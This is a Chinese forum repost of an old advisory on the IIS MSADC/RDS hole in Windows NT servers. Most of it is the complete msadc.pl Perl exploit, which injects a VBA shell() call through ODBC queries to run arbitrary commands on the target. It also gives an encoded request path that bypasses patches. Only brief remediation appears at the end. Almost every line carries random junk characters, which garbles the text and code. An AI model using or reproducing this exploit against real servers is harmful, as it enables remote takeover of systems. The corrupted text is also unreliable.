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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) bi5'-.B  
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涉及程序: 9Hu%Z/[!p  
Microsoft NT server 8FMP)N4+  
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描述: d<whb2l  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +EFur dX\  
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详细: Fm@GU  
如果你没有时间读详细内容的话,就删除: LR^b?.#>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll IuTTMAt  
有关的安全问题就没有了。 T}zi P  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 w#o<qrpHf  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 UeVF@rw  
关于利用ODBC远程漏洞的描述,请参看: 6"wY;E  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )JjfPb64  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %=| I;kI?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp XnNK )dUT}  
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这里不再论述。 > {:8c-\2}  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :s4CWE d  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset hP|5q&wX  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ?GFVV->i  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" 5?Bi+fg  
fpzTv3D=I  
#!perl G1D(-X4ALZ  
# Um|:AT}`^  
# MSADC/RDS 'usage' (aka exploit) script s2tEyR+gW  
# 8g$ 8]'M^T  
# by rain.forest.puppy ]s u\[?l  
# ^awl-CG  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Wl*\kQ}U  
# beta test and find errors! Z8:iaP)  
^RY_j>i  
use Socket; use Getopt::Std; UgUW4x'+  
getopts("e:vd:h:XR", \%args); lKm?Xu'yH  
osnDW aN  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 8>w/Es5  
KJ-D|N,8@^  
if (!defined $args{h} && !defined $args{R}) { :>cJ[K?0  
print qq~ 'al-C;Z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } >-:U   
-h <host> = host you want to scan (ip or domain) f>RPh bq|  
-d <seconds> = delay between calls, default 1 second gs. K,xma  
-X = dump Index Server path table, if available Hj5b.fB  
-v = verbose 5Po.&eS  
-e = external dictionary file for step 5 ZGS=;jM  
t!K|3>w  
Or a -R will resume a command session tV<A u  
?1[go+56X  
~; exit;} Wy|=F~N  
DO0["O74  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |S.-5CAh4  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "=Ziy4V  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} T\]z0M  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,C CIg9Pt  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \Oc3rJ(  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6#.R'O  
9m#`56G`  
if (!defined $args{R}){ $ret = &has_msadc; mxXQBmW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} SX;FBO(p  
wK,t q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" h5Z%|J>;0  
. "cmd /c "; Yc9 M6=E^  
$in=<STDIN>; chomp $in; te:@F]A  
$command="cmd /c " . $in ; rMI:zFS  
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if (defined $args{R}) {&load; exit;} LNr2YRpyz  
nc`[fy|}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `OBDx ^6F  
&try_btcustmr; QK;A>]  
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print "\nStep 2: Trying to make our own DSN..."; '&UX'Dd~Q  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Haturg  
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print "\nStep 3: Trying known DSNs..."; LEk W^Mv  
&known_dsn; ^*Ca+22xO  
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print "\nStep 4: Trying known .mdbs..."; D F0~A  
&known_mdb; VNPuOU=  
d/|@"z^?  
if (defined $args{e}){ ~DCw [y  
print "\nStep 5: Trying dictionary of DSN names..."; hmks\eb~  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Um*{~=;u  
M34*$>bk  
print "Sorry Charley...maybe next time?\n"; /Cwt4.5  
exit; >bmL;)mc&  
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############################################################################## R|Ykez!D  
T8ZsuKio]  
sub sendraw { # ripped and modded from whisker ]T+{]t  
sleep($delay); # it's a DoS on the server! At least on mine... f^nogw<z!  
my ($pstr)=@_; |JrG?:n  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Z>o20uA  
die("Socket problems\n"); {N>VK*  
if(connect(S,pack "SnA4x8",2,80,$target)){ {X8F4  
select(S); $|=1; 4F/Q0"  
print $pstr; my @in=<S>; In]h+tG?rN  
select(STDOUT); close(S); YsLEbue   
return @in; B<+}_3.  
} else { die("Can't connect...\n"); }} IUI >/87u  
3dC8MKPq0  
############################################################################## m,Os$>{Ok  
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sub make_header { # make the HTTP request W4T>@ b.  
my $msadc=<<EOT (3 B; V  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '|Cs!Zl  
User-Agent: ACTIVEDATA 0gxbo  
Host: $ip w!tQU9+ *  
Content-Length: $clen 5q" ;R$+j  
Connection: Keep-Alive 17J|g.]m-&  
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ADCClientVersion:01.06 `y m^0x8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 skr^m%W  
6 70g|&v.  
--!ADM!ROX!YOUR!WORLD! _G[5S-0 [  
Content-Type: application/x-varg ck-wMd  
Content-Length: $reqlen hO\_RhsRy?  
(5VP*67  
EOT O /aC%%  
; $msadc=~s/\n/\r\n/g; spgY &OI;  
return $msadc;} ,HR~oT^  
K+PzTGWq^  
############################################################################## 1vi<@i,  
0 E{$u  
sub make_req { # make the RDS request {b} ?I4)  
my ($switch, $p1, $p2)=@_; +d]}  
my $req=""; my $t1, $t2, $query, $dsn;  Trm)7B*  
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if ($switch==1){ # this is the btcustmr.mdb query Fj -mo>"  
$query="Select * from Customers where City=" . make_shell(); <?QY\wyikz  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6]7iiQz"H  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} omY%sQ{)  
<(;"L<?D<C  
elsif ($switch==2){ # this is general make table query )}vQ?n[:'  
$query="create table AZZ (B int, C varchar(10))"; n omtP }  
$dsn="$p1";} J?u",a]|H"  
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elsif ($switch==3){ # this is general exploit table query c.,eIiL  
$query="select * from AZZ where C=" . make_shell(); sl>4O]N  
$dsn="$p1";} J7_'@zU  
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elsif ($switch==4){ # attempt to hork file info from index server Peh( *D{  
$query="select path from scope()"; hAKyT~[n0  
$dsn="Provider=MSIDXS;";} , )u}8ty3j  
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elsif ($switch==5){ # bad query @C7#xGD  
$query="select"; ,NPU0IDG>  
$dsn="$p1";} 2r<UYB  
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$t1= make_unicode($query); GAEz :n  
$t2= make_unicode($dsn); ~1i,R1_\Y  
$req = "\x02\x00\x03\x00"; _~fO8_vr  
$req.= "\x08\x00" . pack ("S1", length($t1)); +u:8#!X$RD  
$req.= "\x00\x00" . $t1 ; 'l)@MX bGL  
$req.= "\x08\x00" . pack ("S1", length($t2)); I Yj\t?,0  
$req.= "\x00\x00" . $t2 ; FK;\Nce&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !G Z2|~f9  
return $req;} _hK7hvM>  
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############################################################################## }mk9-7  
fw'$HV76  
sub make_shell { # this makes the shell() statement NhS0D=v6  
return "'|shell(\"$command\")|'";} L*Xn!d%  
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############################################################################## v6;XxBR6  
e#)}.   
sub make_unicode { # quick little function to convert to unicode dGr Ow)  
my ($in)=@_; my $out; L*11hyyk  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {>pB  
return $out;} /<Zy-+3  
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############################################################################## !634 8nU:  
rmk'{"  
sub rdo_success { # checks for RDO return success (this is kludge) R1\cAP^ 0  
my (@in) = @_; my $base=content_start(@in); Y:ZI9JK?  
if($in[$base]=~/multipart\/mixed/){ l3)(aay!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z@{|Y;s  
return 0;} I^ppEgYSY  
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############################################################################## L5]*ZCDv  
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sub make_dsn { # this makes a DSN for us u'<Y#bsR#/  
my @drives=("c","d","e","f"); 2P"@=bYT"  
print "\nMaking DSN: "; [}+0N GgR  
foreach $drive (@drives) { (S =::ODU  
print "$drive: "; #sq-V,8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . w[n|Sauy,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 3T|:1Nw  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); gjk=`lU  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; rb qH9 S  
return 0 if $2 eq "404"; # not found/doesn't exist VABrw t  
if($2 eq "200") { ig7)VKr  
foreach $line (@results) {  QSmE:Y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *B#<5<T  
} return 0;} 5MO:hE5sm  
[="moh2*f  
############################################################################## GL.& g{$#+  
kS[k*bN0  
sub verify_exists { pzCD' !*  
my ($page)=@_; x\3tSP7Vp  
my @results=sendraw("GET $page HTTP/1.0\n\n"); |Gzd|$%Oq  
return $results[0];} _|g(BK2}  
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############################################################################## H7H'0C  
Gg{@]9  
sub try_btcustmr { p}}}~ lC/  
my @drives=("c","d","e","f"); _+T;4U' p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t9zPJQlT}  
\#lh b  
foreach $dir (@dirs) { hUxpz:U*  
print "$dir -> "; # fun status so you can see progress @$F(({?  
foreach $drive (@drives) { acRPKTs H  
print "$drive: "; # ditto =5+M]y E<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _C)u#]t  
$reqlenlen=length( "$reqlen" ); = K"F!}  
$clen= 206 + $reqlenlen + $reqlen; s@'};E^]@r  
\@:pWe  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Q{Jz;6"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v'Tk Kwl  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Z>Rd6o'  
Mw\/gm_3  
############################################################################## nv2Y6e}dG  
mO?G[?*\  
sub odbc_error { |0b$60m$!t  
my (@in)=@_; my $base; GQ$0`?lp  
my $base = content_start(@in); +wY3E*hU  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )Mi #{5z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X.o[=E  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nsaf6y&E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fFqK.^Tn  
return $in[$base+4].$in[$base+5].$in[$base+6];} .]k(7F!W  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3 B KW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Ad+-/hxc  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Ra;e#)7 X  
U-Fr[1I6p  
############################################################################## 13}=;4O  
ePrb G4xv  
sub verbose { .Xg%><{~  
my ($in)=@_; \I/l6H>o3  
return if !$verbose;  i/y+kL  
print STDOUT "\n$in\n";} H]mY6D51"  
eOZA2  
############################################################################## '4L i  
WvAl!^{`  
sub save { RIC'JLWQ  
my ($p1, $p2, $p3, $p4)=@_; &dbX>u q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 66[yL(*+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; H \.EK Z  
close OUT;} 0;!aO.l]K  
dWg$yH  
############################################################################## +7sdQCO(Co  
&julw;E  
sub load { ~5:]Oux  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; %[B &JhT  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); D4c}z#}*0  
@p=<IN>; close(IN); "@$o'rfT  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); )m\%L`+  
$target= inet_aton($ip) || die("inet_aton problems"); +4G uA0N6  
print "Resuming to $ip ..."; DL2e 9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )fA9,yNJ3  
if($p[1]==1) { +S<2d.&~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; s%H5Qa+Uh  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DJr 8<u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9cQKXh:R.  
if (rdo_success(@results)){print "Success!\n";} -XPGl  
else { print "failed\n"; verbose(odbc_error(@results));}} ?N,a {#w  
elsif ($p[1]==3){ VtZ  
if(run_query("$p[3]")){ f|m.v +7k  
print "Success!\n";} else { print "failed\n"; }} A^3cP, L  
elsif ($p[1]==4){ b3#c0GL  
if(run_query($drvst . "$p[3]")){ :1hp_XfJb  
print "Success!\n"; } else { print "failed\n"; }} Kcsje_I-M  
exit;} ~ Y4H)r  
QI0ARdS  
############################################################################## z]gxkol\  
E4T?8TO$o%  
sub create_table { P-7!\[];te  
my ($in)=@_; wAF>C[<\  
$reqlen=length( make_req(2,$in,"") ) - 28; ~ W52Mbf  
$reqlenlen=length( "$reqlen" ); 0aQNdi)b  
$clen= 206 + $reqlenlen + $reqlen; FGy7KVR  
my @results=sendraw(make_header() . make_req(2,$in,"")); AWh{dM  
return 1 if rdo_success(@results); m&Ms[X  
my $temp= odbc_error(@results); verbose($temp); qWw@6VvoQ  
return 1 if $temp=~/Table 'AZZ' already exists/; "h2;65@  
return 0;} 6Ck?O/^  
n!ea)+^  
############################################################################## r1}7Q7-z  
Hu1w/PLq  
sub known_dsn { ;s9!ra:3  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go X'7 T"5!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", cK@O)Ko}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", bsP:tFw>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0=t_ a]+  
AH`tkPd  
foreach $dSn (@dsns) { O JvEq@  
print "."; uLe+1`Y5Ux  
next if (!is_access("DSN=$dSn")); dbB2/RI  
if(create_table("DSN=$dSn")){ *>$'aQ  
print "$dSn successful\n"; sFC1PdSk4T  
if(run_query("DSN=$dSn")){ iMk`t:!;#"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { k8Qv>z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} va~:oA  
_~HGMC)  
############################################################################## `z Z=#p/  
e%wbUr]c2  
sub is_access { [EB2o.E sO  
my ($in)=@_; B?#@<2*=L  
$reqlen=length( make_req(5,$in,"") ) - 28; v@Otp  
$reqlenlen=length( "$reqlen" ); )K8JDP  
$clen= 206 + $reqlenlen + $reqlen; ir \d8.  
my @results=sendraw(make_header() . make_req(5,$in,"")); djZOx;/  
my $temp= odbc_error(@results); (0Hhn2JA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _L%/NXu,  
return 0;} C UlANd"  
T/-PSfbkj  
############################################################################## o"7,CQye  
w?oIKj  
sub run_query { IW6;ZDP  
my ($in)=@_; *`|.:'  
$reqlen=length( make_req(3,$in,"") ) - 28; cMC1|3  
$reqlenlen=length( "$reqlen" ); @<>](4D  
$clen= 206 + $reqlenlen + $reqlen; lJ}G"RTm  
my @results=sendraw(make_header() . make_req(3,$in,"")); sBwkHsDD  
return 1 if rdo_success(@results); ~4XJ" d3L  
my $temp= odbc_error(@results); verbose($temp); IL YS:c58=  
return 0;} T{?!sB3  
:_)Xe*O  
############################################################################## zT!JHG  
dH#o11[  
sub known_mdb { 8QFY:.h&  
my @drives=("c","d","e","f","g"); P1TL H2)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >]ZojdOl)  
my $dir, $drive, $mdb; 3zs~ Y3M?i  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0ZkA .p  
M?)>, !Z)  
# this is sparse, because I don't know of many < g6 [mS  
my @sysmdbs=( "\\catroot\\icatalog.mdb", KXicy_@DC`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", B<8Z?:3YS  
"\\system32\\certmdb.mdb", [#lPT'l  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Qnr' KbK  
N@tzYD|hA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /vsQ <t;~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", J*a`qU   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", `=q)-y_C  
"\\cfusion\\cfapps\\security\\realm_.mdb", +SUQRDF@i  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Yw?%>L  
"\\cfusion\\database\\cfexamples.mdb", ]=@>;yP)  
"\\cfusion\\database\\cfsnippets.mdb", 0sV;TQt+f  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", rb`C:#j{J  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", e-UPu%'  
"\\cfusion\\brighttiger\\database\\cleam.mdb", qI8{JcFx:  
"\\cfusion\\database\\smpolicy.mdb", xCoQ>.4p  
"\\cfusion\\database\cypress.mdb", ]%>;R^HY  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", o] )qv~o)  
"\\website\\cgi-win\\dbsample.mdb", VNXB7#ry  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~[k 2(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &S''fxGL  
); #these are just Nm#KHA='Z  
foreach $drive (@drives) { Bk?MF6  
foreach $dir (@dirs){ -PEpy3dMY  
foreach $mdb (@sysmdbs) { 9)l[$X  
print "."; >qcir~ &  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ iCc@N|~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }6^(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ B0Xn9Tvk  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Q'$aFl'NR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} zzq/%jki  
?w3f;v  
foreach $drive (@drives) { ymr-kB  
foreach $mdb (@mdbs) { G78rpp  
print "."; b4oZ@gVR;  
if(create_table($drv . $drive . $dir . $mdb)){ F =d L#@^  
print "\n" . $drive . $dir . $mdb . " successful\n"; cJi5\<b  
if(run_query($drv . $drive . $dir . $mdb)){ //V?rs  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; pm3?  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;}^Pfm8  
} J~n{gT<L  
'T+3tGCy+  
############################################################################## P(A%z2Ql  
NrS1y"#d9  
sub hork_idx { 3YA !2  
print "\nAttempting to dump Index Server tables...\n"; urXM}^  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?\ho9nyK  
$reqlen=length( make_req(4,"","") ) - 28; |W\CV0L2  
$reqlenlen=length( "$reqlen" ); P`V#Wj4\  
$clen= 206 + $reqlenlen + $reqlen; #_|b;cf  
my @results=sendraw2(make_header() . make_req(4,"","")); o*5|W9  
if (rdo_success(@results)){ 0r:8ni%cL  
my $max=@results; my $c; my %d; < 8WS YZ  
for($c=19; $c<$max; $c++){ (_U&EX%  
$results[$c]=~s/\x00//g; N @]*E  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; lyv9eM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 1)%9h>F7  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ?$=N!>P#  
$d{"$1$2"}="";} (W*yF2r  
foreach $c (keys %d){ print "$c\n"; } o7]h;Zg5r  
} else {print "Index server doesn't seem to be installed.\n"; }} w;>]L.n  
Dve5Ml-  
############################################################################## #t3j u^ |?  
.\*\bvyCw  
sub dsn_dict { vP88%I;  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); QJGRi  
while(<IN>){ SGjaH 8z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -pa.-@  
next if (!is_access("DSN=$dSn")); w7w$z _P  
if(create_table("DSN=$dSn")){ I:AlM ?  
print "$dSn successful\n"; NWX~@Rg  
if(run_query("DSN=$dSn")){ uop_bJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { j0:F E  
print "Something's borked. Use verbose next time\n";}}} ~mmI] pC  
print "\n"; close(IN);} a/`fJY6rR  
4.CLTy3W  
############################################################################## GD~3RnGQ{  
hMi!H.EX.  
sub sendraw2 { # ripped and modded from whisker f-4<W0%  
sleep($delay); # it's a DoS on the server! At least on mine... T5W r;a  
my ($pstr)=@_; IxgnZX4N  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || K6!`b( v#  
die("Socket problems\n"); |$7!u DU8  
if(connect(S,pack "SnA4x8",2,80,$target)){ -D{~7&  
print "Connected. Getting data"; 1`B5pcuI  
open(OUT,">raw.out"); my @in; z\fD}`^8  
select(S); $|=1; print $pstr; |MTgKEsn  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} M*aE)D '  
close(OUT); select(STDOUT); close(S); return @in; r`28fC  
} else { die("Can't connect...\n"); }} a] >|2JN<&  
OuS{ve  
############################################################################## 1cOp"!  
a,lH6lDk  
sub content_start { # this will take in the server headers L-G186B$r  
my (@in)=@_; my $c; P{rJG '  
for ($c=1;$c<500;$c++) { * Oyic3F  
if($in[$c] =~/^\x0d\x0a/){ ^_)CQ%W?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } EUUj-.dEN  
else { return $c+1; }}} [- vd]ob  
return -1;} # it should never get here actually <~X=6  
M8S4D&vpD4  
############################################################################## fs>0{  
lKH"PH7*_w  
sub funky { u+th?KO`  
my (@in)=@_; my $error=odbc_error(@in); |WubIj*\{  
if($error=~/ADO could not find the specified provider/){ ?ix0n,m  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; D.R5-  
exit;} [9aaHf@'  
if($error=~/A Handler is required/){ l<z[)fE{uS  
print "\nServer has custom handler filters (they most likely are patched)\n"; Kq6m5A]z  
exit;} ~iF*+\  
if($error=~/specified Handler has denied Access/){ p~Dm3^Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; UxD1+\N6?  
exit;}} sOU_j4M{  
#BlH)Cv  
############################################################################## @YWfq$23  
otX#}} +  
sub has_msadc { &v3r#$Hj[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); mj5A*%"W  
my $base=content_start(@results); D1#E&4   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ((;9%F:/$  
return 0;} --",}%-  
[J-r*t"!  
######################## gjyg`%  
]WyV~Dzz<  
b^hCm`2w*  
解决方案: }[ux4cd8Y  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?vf\_R'M  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 A[+op'>k  
b39;Sv|#  
拿出来充数 哈哈
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